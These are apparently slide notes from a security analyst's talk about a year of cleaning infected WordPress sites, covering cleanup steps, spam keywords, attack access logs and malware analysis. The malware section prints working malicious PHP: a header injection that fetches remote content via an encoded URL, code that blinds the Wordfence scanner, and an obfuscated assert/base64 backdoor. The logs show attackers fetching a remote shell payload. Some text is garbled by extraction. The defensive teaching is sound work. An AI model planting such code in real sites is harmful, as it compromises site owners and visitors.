My Year on the Front Line Cleaning Infected Sites

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Why Site Cleaning?

curiosity


/kjʊərɪˈɒsɪti/ •0

noun

- a strong desire to know or learn something.
 "filled with curiosity, she peered through the window"
 synonyms: inquisitiveness, interest, spirit of enquiry; informal nosiness
 "his evasiveness roused my curiosity"
- an unusual or interesting object or fact.
 "he showed them some of the curiosities of the house"
 synonyms: peculiarity, oddity, strangeness, oddness, idiosyncrasy, unusualness, novelty More

Applying for the job aka, cleaning my first site

Step One





how to clean up a hacked wordpress site





All

Videos

Images News

Shopping

ina

ore

Settings Tools

About 3,060,000 results (0.33 seconds)

How to Clean a Hacked WordPress Site using Wordfence - Wordfence

https://www.wordfence.com/.../how-to-clean-a-hacked-wordpress-site-using-wordfenc... ▼
If your site has been hacked, Don't Panic. This article will describe how to clean your site if it has been hacked and infected with malicious code, backdoors, ...

How to Clean a Hacked WordPress Site - Sucuri Guide

https://sucuri.net/guides/how-to-clean-hacked-wordpress -

May 25, 2018 - Learn how to fix a hacked WordPress site and remove malware from your WordPress website. Clean and prevent hacks to secure WordPress.

FAQ My site was hacked « WordPress Codex

https://codex.wordpress.org/FAQ_My_site_was_hacked ▼

You can visibly see that **your site** has been **hacked** when you open it in the browser Once you are **clean**, you should update **your WordPress** installation to the ...

What To Do If Your WordPress Website Is Hacked (Step-By-Step Guide)

https://wpbuffs.com/wordpress-website-hacked/ ▼
Jul 31, 2018 - What do you do? Let's walk you through the process of how

Jul 31, 2018 - What do you do? Let's walk you through the process of how to clean a hacked WordPress site and what next steps you should take to recover.

Videos



Clean Hacked WordPress Sites - Stepby-Step



How To Fix Hacked WordPress Site - Step by Step




How To Clean Up A WordPress Hack



Step Two

Backup files & databases



Step Three

Look for anything strange



```
Which file in this list
drwxrwxrwx 1 valorin valorin
                              4096 Sep 25 06:35 .
drwxrwxrwx 1 valorin valorin
                              4096 Oct
                                        2 06:45
-rwxrwxrwx 1 valorin valorin
                               418 May 30 21:23 index.php
-rwxrwxrwx 1 valorin valorin 19935 May 30 21:23 license.txt
-rwxrwxrwx 1 valorin valorin
                              7415 May 30 21:23 readme.html
-rwxrwxrwx 1 valorin valorin
                              5458 May 30 21:23 wp-activate.php
drwxrwxrwx 1 valorin valorin
                              4096 May 30 21:23 wp-admin
                               364 May 30 21:23 wp-blog-header.php
-rwxrwxrwx 1 valorin valorin
                              1889 May 30 21:23 wp-comments-post.php
-rwxrwxrwx 1 valorin valorin
                              2853 May 30 21:23 wp-config.php
-rwxrwxrwx 1 valorin valorin
                              4096 May 30 21:23 wp-content
drwxrwxrwx 1 valorin valorin
                              3669 May 30 21:23 wp-cron.php
-rwxrwxrwx 1 valorin valorin
-rwxrwxrwx 1 valorin valorin
                                26 Sep 25 06:31 wp-hello.php
drwxrwxrwx 1 valorin valorin
                              4096 May 30 21:23 wp-includes
                              2422 May 30 21:23 wp-links-opml.php
-rwxrwxrwx 1 valorin valorin
                              3306 May 30 21:23 wp-load.php
-rwxrwxrwx 1 valorin valorin
-rwxrwxrwx 1 valorin valorin 37760 May 30 21:23 wp-login.php
                              8048 May 30 21:23 wp-mail.php
-rwxrwxrwx 1 valorin valorin
-rwxrwxrwx 1 valorin valorin 16246 May 30 21:23 wp-settings.php
-rwxrwxrwx 1 valorin valorin 30091 May 30 21:23 wp-signup.php
-rwxrwxrwx 1 valorin valorin 4620 May 30 21:23 wp-trackback.php
-rwxrwxrwx 1 valorin valorin 3065 May 30 21:23 xmlrpc.php
```

```
drwxrwxrwx 1 valorin valorin
                              4096 Sep 25 06:35 .
drwxrwxrwx 1 valorin valorin
                              4096 Oct
                                        2 06:45
-rwxrwxrwx 1 valorin valorin
                               418 May 30 21:23 index.php
-rwxrwxrwx 1 valorin valorin 19935 May 30 21:23 license.txt
-rwxrwxrwx 1 valorin valorin
                              7415 May 30 21:23 readme.html
-rwxrwxrwx 1 valorin valorin
                              5458 May 30 21:23 wp-activate.php
                              4096 May 30 21:23 wp-admin
drwxrwxrwx 1 valorin valorin
                               364 May 30 21:23 wp-blog-header.php
-rwxrwxrwx 1 valorin valorin
                              1889 May 30 21:23 wp-comments-post.php
-rwxrwxrwx 1 valorin valorin
                              2853 May 30 21:23 wp-config.php
-rwxrwxrwx 1 valorin valorin
                              4096 May 30 21:23 wp-content
drwxrwxrwx 1 valorin valorin
                              3669 May 30 21:23 wn-cron nhn
-rwxrwxrwx 1 valorin valorin.
-rwxrwxrwx 1 valorin valorin
                                26 Sep 25 06:31 wp-hello.php
drwxrwxrwx 1 valorin valorin
                              4096 May 30 21:23 wp-includes
                              2422 May 30 21:23 wp-links-opml.php
-rwxrwxrwx 1 valorin valorin
-rwxrwxrwx 1 valorin valorin
                             3306 May 30 21:23 wp-load.php
-rwxrwxrwx 1 valorin valorin 37760 May 30 21:23 wp-login.php
                              8048 May 30 21:23 wp-mail.php
-rwxrwxrwx 1 valorin valorin
-rwxrwxrwx 1 valorin valorin 16246 May 30 21:23 wp-settings.php
-rwxrwxrwx 1 valorin valorin 30091 May 30 21:23 wp-signup.php
-rwxrwxrwx 1 valorin valorin 4620 May 30 21:23 wp-trackback.php
-rwxrwxrwx 1 valorin valorin 3065 May 30 21:23 xmlrpc.php
```

Step Four

Install & use a security plugin (i.e. Wordfence, etc)



Step Five

Search DB for suspicious keywords



Suspicious keywords...

The Emergency Services Chief from Springfield talks about his role in disaster preparedness cheap pharmacyand emergency planning. For more information, please watch this short informative video on generic pharmacy onlinethe plans and procedures he set up for disaster preparedness and emergency planning from a recent interview.

viagra porn cialis 'weight loss' casino betting sildenafil tadalafil levitra sovaldi lamisil gambling zovirax 'buy essays' 'payday loans' traffictrade trafficbroker 2clicks trymynewspirit pharma dancewithme lasix disease hentai propecia cymbalta accutane ativan medicine neurontin proscar antibiotics phentermine lexapro ampills valium xanax tramadol

Basic site cleaning steps

- Google: "how to clean a hacked WordPress site"
- 2. Backup files & databases
- 3. Look for anything strange
- 4. Install & use a security plugin (i.e. Wordfence, etc)
- 5. Search DB for suspicious keywords









WordPress salted hash

\$P\$Brr73dBtT4K.VlxhhdSQFkV7K3qFJS. \$P\$Bg3IdY4Do6zgnQP5EfVGoKnuAw167r0 \$P\$BGysZlmmMU0YFF33s5z02ubxqstTAt0

MD5 hash

5f4dcc3b5aa765d61d8327deb882cf99 5f4dcc3b5aa765d61d8327deb882cf99 5f4dcc3b5aa765d61d8327deb882cf99



WordPress 4.7.0-4.7.1 - Unauthenticated Page/Post Content Modification via REST API

Quietly fixed in WP 7.4.2 (26th Jan 2017)

Disclosed 6 days later (1st Feb 2017)

Trivial to automate

⇒ heavily exploited due to disabled or broken updates

Trivial to clean

⇒ all contained within database




Accessing the database can be trivial...

Shared hosting providers



Dodgy permissions


Read access to wp-config.php



```
rwxrwxrwx i analyst analyst.
                             40 Dec 6 00:08
rwxrwxrwx 1 analyst analyst
                             40 Dec 6 00:08 P
rwxrwxrwx 1 analyst analyst
                             40 Dec 6 00:08 m
rwxrwxrwx 1 analyst analyst
                             40 Dec 6 00:08 m
rwxrwxrwx 1 analyst analyst
                             40 Dec 6 00:08
                             40 Dec 6 00:08
rwxrwxrwx 1 analyst analyst
                             40 Dec 6 00:08
rwxrwxrwx 1 analyst analyst
                             40 Dec 6 00:08
rwxrwxrwx 1 analyst analyst
rwxrwxrwx 1 analyst analyst
                             40 Dec 6 00:08
rwxrwxrwx 1 analyst analyst
                             44 Dec 6 00:08
rwxrwxrwx 1 analyst analyst
                             40 Dec 6 00:08 t
rwxrwxrwx 1 analyst analyst
                             40 Dec 6 00:08
rwyrwyrwy 1 analyst analyst
                             40 Dec 6 00:08
```

Backups are essential

(Especially when cleaning sites!)



Why are access logs

So are access logs!



Fake theme upload

178.137.85.x [22/Jun/2018:09:35:25 -0600]

"GET /wp-login.php HTTP/1.1" 200

178.137.85.x [22/Jun/2018:09:35:27 -0600] Attacker logs in

"POST /wp-login.php HTTP/1.1" 302

178.137.85.x [22/Jun/2018:09:35:28 -0600]

"GET /wp-admin/ HTTP/1.1" 200

178.137.85.x [22/Jun/2018:09:35:36 -0600]

"GET /wp-admin/theme-install.php?upload HTTP/1.1" 200

178.137.85.x [22/Jun/2018:09:35:38 -0600]


Uploads fake theme

"POST /wp-admin/update.php?<mark>action=upload-theme</mark> HTTP/1.1" 200

178.137.85.x [22/Jun/2018:09:50:27 -0600]

Uses new backdoor

"POST /wp-content/themes/pikture/db.php?u HTTP/1.1" 200



Fake plugin upload

```
185.106.120.x [15/Aug/2018:03:32:45 +0200]

"POST /wp-login.php HTTP/1.1" 302
```

Checking plugin works

Attacker logs in

```
185.106.120.x [15/Aug/2017:03:33:18 +0200]

"GET /?key=testActivation HTTP/1.1" 200
```

Fake plugin upload (cont.)



```
185.106.120.x [15/Aug/2017:06:20:02 +0200]
```

Downloading payload

"GET /?key=uploadUpdate

```
&url=http%3A%2F%2Fx.x.x.x%2Fpayload%2Fshell%2Fwp-update.txt
&file_name=wp-update HTTP/1.1" 200
```

185.106.120.x [15/Aug/2017:06:20:03 +0200]

Using downloaded malware

"POST /wp-update.php HTTP/1.1" 200

```
It continued for days, until the site was cleaned and the malware removed.

[15/Aug/2017:06:20:02 +0200] "GET /?key=uploadUpdate&url=http%3A%2F%2F185.106.120.x%2Fpayload%...

[15/Aug/2017:06:20:03 +0200] "GET /?key=uploadUpdate&url=http%3A%2F%2F185.106.120.x%2Fpayload%...

[15/Aug/2017:06:20:05 +0200] "GET /?key=uploadUpdate&url=http%3A%2F%2F185.106.120.x%2Fpayload%...

[15/Aug/2017:06:20:06 +0200] "GET /?key=uploadUpdate&url=http%3A%2F%2F185.106.120.x%2Fpayload%...

[15/Aug/2017:17:21:33 +0200] "GET /?key=uploadUpdate&url=http%3A%2F%2F185.106.120.x%2Fpayload%...

[16/Aug/2017:15:56:05 +0200] "GET /?key=uploadUpdate&url=http%3A%2F%2F185.106.120.y%2Fpayload%...

[16/Aug/2017:15:56:08 +0200] "GET /?key=uploadUpdate&url=http%3A%2F%2F185.106.120.y%2Fpayload%...

[16/Aug/2017:15:56:08 +0200] "GET /?key=uploadUpdate&url=http%3A%2F%2F185.106.120.y%2Fpayload%...

[16/Aug/2017:15:56:10 +0200] "GET /?key=uploadUpdate&url=http%3A%2F%2F185.106.120.y%2Fpayload%...
```

Fresh install hijack

```
185.97.134.x [13/Jun/2017:14:54:33 -0400]
                                                          Looking for fresh install
"GET /wp-admin/setup-config.php HTTP/1.1" 200
185.97.134.x [13/Jun/2017:14:54:39 -0400]
                                                          Start site setup
"POST /wp-admin/setup-config.php<mark>?step=0</mark> HTTP/1.1" 200
185.97.134.x [13/Jun/2017:14:54:48 -0400]
                                                          Complete site setup
"POST /wp-admin/setup-config.php?step=2 HTTP/1.1" 200
... user login ...
                                                          Login to created admin
185.97.134.x [13/Jun/2017:14:58:06 -0400]
                                                          Upload malicious plugin
"GET /wp-admin/plugin-install.php?tab=upload HTTP/1.1" 200
185.97.134.x [13/Jun/2017:14:58:30 -0400]
                                                          Activate plugin
"GET /wp-admin/plugins.php
    ?action=activate&plugin=ubh%2Fubh.php&[...] HTTP/1.1" 302
185.97.134.x [13/Jun/2017:14:58:57 -0400]
                                                          Check malware working
"GET /wp-content/plugins/ubh/wp-blog.php HTTP/1.1" 200
```

My Favourite Malware



A typical site clean?

- Started Wordfence "high-sensitivity" scan
- 2. No results found (happens occasionally with new malware)
- 3. Copied files to cleaning server
- 4. Found three changed files
 - a. wfScanEngine.php
 - b. wp-blog-header.php
 - c. class-wp-upgrader.php

Swag Quiz: Why did Wordfence miss these changes?

/wp-content/plugins/wordfence/lib/wfScanEngine.php

```
1 unset(
      $this->knownFiles["core"]["wp-blog-header.php"],
      $this->knownFiles["core"][$file = "wp-admin/includes/class-wp-upgrader.php"],
 4
      $this->knownFiles["plugins"]["wp-content/plugins/wordfence/lib/wfScanEngine.php"]
 5);
 6
 7 if (method exists("wordfenceHash", "wfHash")) {
 8
      $hash = @wordfenceHash::wfHash(ABSPATH . $file);
 9
10
      if (count(\$hash) > 1 \&\& strlen(\$hash[1]) > 12) {
11
          $this->knownFiles["core"][$file] = strtoupper($hash[1]);
12
13 }
14
15 if (!is_array($this->knownFiles)) {
```

/wp-blog-header.php

```
1 $e = pathinfo($f = strtok($p = @$_SERVER["REQUEST_URI"], "?"), PATHINFO_EXTENSION);
 2 if ((!$e || in_array($e, array("html", "jpg", "png", "gif")) || basename($f, ".php") == "index")
  && in_array(strtok("="), array("", "p", "page_id")) && (empty($_SERVER["HTTP_USER_AGENT"]) ||
   (stripos($u = $ SERVER["HTTP_USER_AGENT"], "AhrefsBot") === false && stripos($u, "MJ12bot") ===
  false))) {
 3
      sat = "base64" . "decode";
 4
      $ch = curl_init($at("aHR0cDovL3dwYWRtaW5hZ...")."0372f6d9a450fbded47ae7...".$p);
      curl setopt($ch, CURLOPT RETURNTRANSFER, 1);
 6
      curl setopt($ch, CURLOPT HTTPHEADER, array("X-Forwarded-For: ".@$ SERVER["REMOTE ADDR"]));
      if (isset($ SERVER["HTTP USER AGENT"]))
 8
           curl setopt($ch, CURLOPT USERAGENT, $ SERVER["HTTP USER AGENT"]);
 9
      if (isset($ SERVER["HTTP_REFERER"]))
           curl_setopt($ch, CURLOPT_REFERER, $_SERVER["HTTP_REFERER"]);
10
      $ci = "curl ex" . "ec";
11
      data = ci(ch):
12
13
      $code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
14
      if (strlen($data) > 255 && $code == 200) {
15
           echo $data; exit;
      } else if ($data && ($code == 301 || $code == 302)) {
16
           header("Location: " . trim($data), true, $code); exit;
17
18
       }
19 }
```

/wp-admin/includes/class-wp-upgrader.php 1 if (strpos(\$package, "wordpress-") !== false) { @unlink(\$working_dir . "/wordpress/wp-admin/includes/class-wp-upgrader.php"); 3 @unlink(\$working_dir . "/wordpress/wp-blog-header.php"); 4 } 5 <----> 6 7 if (\$destination name == "wordfence" && (\$data = file get contents(\$file = \$destination . "lib/wfScanEngine.php"))) { \$data = str_replace('if (!is_array(\$this->knownFiles))', 8 'unset(\$this->knownFiles["core"]["wp-blog-header.php"], 10 \$this->knownFiles["core"][\$file = "wp-admin/includes/class-wp-upgrader.php"], \$this->knownFiles["plugins"]["wp-content/plugins/wordfence/lib/wfScanEngine.php"]); 11 12 if (method_exists("wordfenceHash", "wfHash")) { \$hash = @wordfenceHash::wfHash(ABSPATH . \$file); 13 if (count(\$hash) > 1 && strlen(\$hash[1]) > 12) { 14 \$this->knownFiles["core"][\$file] = strtoupper(\$hash[1]); 15 16 17 18 if (!is_array(\$this->knownFiles))', \$data, \$count); if (\$data && \$count) { 19 20 file_put_contents(\$file, \$data); 21


22 }

It continues to evolve


We update Wordfence to detect and block malware.

Author updates malware to bypass our block and evade detection.

Repeat.



Current status: We're winning!



What's Quiz: here?

Sometimes you find code like this...

```
1 function add($id, $data, $group = '*/$var global = 'ba'/*', $expire = 0) {
     $key = $this->key($id, $group);
     if ( is object( $data, ) )
         $data = */.'se'.(44800/700).' de'/* clone $data;
         if ( in_array($group, $this->no_mc_groups) ) {
             $this->cache[*/.'c'/*] = $data;
 6
             return true:
         \ elseif ( isset($this->cache[$key]) && $this->cache[$key] !== */.'o'.''.'de';/* ) {
             return false;
10
11
         mc = $this->get mc(*/$var add = "a";/*);
         $expire = ($expire == 0) ? $this->default_expiration : $expire; */$var_add .= "sse";/*) {
12
13
         $result = $mc->add($key, $data, false, $expire);
14
         if ( */$var_add .= "rt";/* !== $result ) {
15
             @ ++$this->stats['add'];
             $this->group_ops[$group][] = "add $id";
16
17
             $this->cache[$kev] = $data:
18
19
         return $result;
20
```

Code highlighting reveals secrets

```
1 $var_global = 'base64_decode';$var_add = "assert";
```

Sometimes, malware is just weird or funny...

\$Mmko_x='P3ghXxIo6LxB4GhB6LpzW70hJhzE03xcWgQy6AujY0RhXh30MBYoAkWBNKiCKY0hKhBNywHMdrq7WGajpQUTP9j3ihNJsel6ICOopcpqhpTxrE8kWgeQq5syDu+d0maJexINAKeyxuwRU2VPAzh4261xBq6n8VsC5syxHI/o6LQjY0NTPAiOY1NbbIpRgkJMfxSCHcFw44p4wNPULtV6nSY0G9no0sAjuSPKEop4bMKXKZdZz8saHkl9io15Hbn7syFdbE59f1aPyV/tvfddruIiHPcP3PaVaw4CcUcKJTn9qPk1VhoCINOeinoMmhlAQ5h/mF0eQ8P04CrJvSzTNdBcOSlBsxYZR72ItTOleEz7FD9I61e7a95RI40Da

The epic tale of the persistent attacker that almost thwarted us completely...

- Customer site infected
- 2. Cleaned site, enabled access logs
- 3. Sent report, advised change PW
- 4. Customer happy, changed pw
- Site reinfected one week later
- 6. Cleaned site again
- 7. Checked new malware with original copy
 - ⇒ Reinfection confirmed
- 8. Checked access logs for malicious activity
 - ⇒ Malware accessed but not created
- 9. Checked database
 - ⇒ Nothing suspicious found

- 10. Checked plugins for malicious behaviours
 - ⇒ Nothing suspicious
- 11. Checked cPanel for suspicious activity
 - ⇒ No suspicious logins
 - ⇒ No FTP activity
- 12. We ran out of ideas, so we cleaned the site again and watched it closely...
- 13. Reinfected within minutes!
- 14. Deleted all files from /public_html/
- 15. New malware created in /public_html/

So we deleted it and watched very closely...

/public_html/index.php.swp

That's a VIM swap file...




Oh... this host supports SSH...

How'd we regain

Some hosts support SSH, even if they don't tell you about it.


```
o7i1a2e3@infected.site [~]# last | grep o7i1a2e3
                                                   grep gone
o7i1a2e3 pts/9
                      chomsky.torserve Wed Apr
                                                4 16:29
                                                           gone - no logout
o7i1a2e3 pts/8
                                                4 16:27
                      ns342186.ip-91-1 Wed Apr
                                                           gone - no logout
                      tor-exit-3.yui.c Wed Apr 4 16:26
o7i1a2e3 pts/7
                                                           gone - no logout
o7i1a2e3 pts/6
                      tor-exit-3.yui.c Wed Apr
                                                4 16:26
                                                           gone - no logout
o7i1a2e3 pts/5
                      tor-exit-3.yui.c Wed Apr
                                                4 16:25
                                                           gone - no logout
o7i1a2e3 pts/1
                      chomsky.torserve Wed Apr
                                                4 16:21
                                                           gone - no logout
o7i1a2e3 pts/0
                                                           gone - no logout
                      ns342186.ip-91-1 Wed Apr
                                                4 14:50
o7i1a2e3 pts/4
                      ns342186.ip-91-1 Wed Apr
                                                4 09:58
                                                           gone - no logout
o7i1a2e3 pts/3
                      ns342186.ip-91-1 Wed Apr
                                                4 07:28
                                                           gone - no logout
                      ec2-52-24-8-x.us Tue Apr
o7i1a2e3 pts/2
                                                3 18:08
                                                           gone - no logout (us)
```

The hosting provider kicked everyone out!



Malware unpacking is sometimes like...







Any questions?

Swag Quiz winners, don't forget to come down the front after the Q&A to collect your swag! :-)

I do have extra swag to give out too...

Also, if anyone is interested, we can do an informal lockpicking session during lunch somewhere in the foyer. I can teach you how to pick locks.

stephen@wordfence.com stephen.rees-carter.net twitter.com/valorin